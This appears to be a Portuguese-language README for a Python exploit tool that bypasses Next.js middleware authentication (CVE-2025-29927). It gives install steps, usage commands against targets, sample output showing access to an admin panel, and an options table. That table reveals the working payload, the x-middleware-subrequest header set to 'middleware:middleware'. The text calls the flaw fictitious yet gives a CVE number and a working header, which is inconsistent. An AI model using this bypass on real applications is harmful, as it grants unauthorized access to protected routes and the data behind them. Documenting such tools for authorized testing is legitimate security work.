
> 🔓 Prova de conceito para um bypass fictício no middleware do Next.js (CVE-2025-29927) — crie sub-requisições para testar rotas protegidas.
Esta é uma prova de conceito para uma vulnerabilidade fictícia de bypass de middleware do Next.js (CVE-2025-29927). Use somente para fins educacionais e de pesquisa de segurança autorizada.
| Funcionalidade | Descrição |
|---|---|
| ✨ Cores e Verbose | Saída com código de cores; -v para logs de depuração detalhados. |
| 📦 Estrutura OOP | Design baseado em classes para clareza e facilidade de manutenção. |
| 🌐 Suporte a Proxy | Roteie o tráfego por proxies HTTP(S) via --proxy. |
| 🍪 Gerenciamento de Sessão | requests.Session persistente para cookies e reutilização de conexão. |
| 🚦 Controle de Redirecionamento | Sem seguir redirecionamentos por padrão; detecta claramente sucesso vs. falha. |
| 🛠 Cabeçalhos Personalizados | Substitua User-Agent, x-middleware-subrequest ou adicione cabeçalhos. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
Requer Python 3.7+
python poc.py [options] <host>[:port]
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
Sucesso
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
Falha
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
| Opção | Descrição |
|---|
-p, --path PATH | Caminho da rota protegida (padrão: /admin) |
-s, --scheme {http,https} | Protocolo (padrão: http) |
--header HEADER | Valor do cabeçalho x-middleware-subrequest (padrão: middleware:middleware) |
-ua, --user-agent AGENT | User-Agent personalizado (padrão: Mozilla/5.0) |
--proxy PROXY | URL do proxy HTTP(S) (ex.: http://127.0.0.1:8080) |
-v, --verbose | Ativar saída de depuração |
-h, --help | Mostrar esta mensagem de ajuda |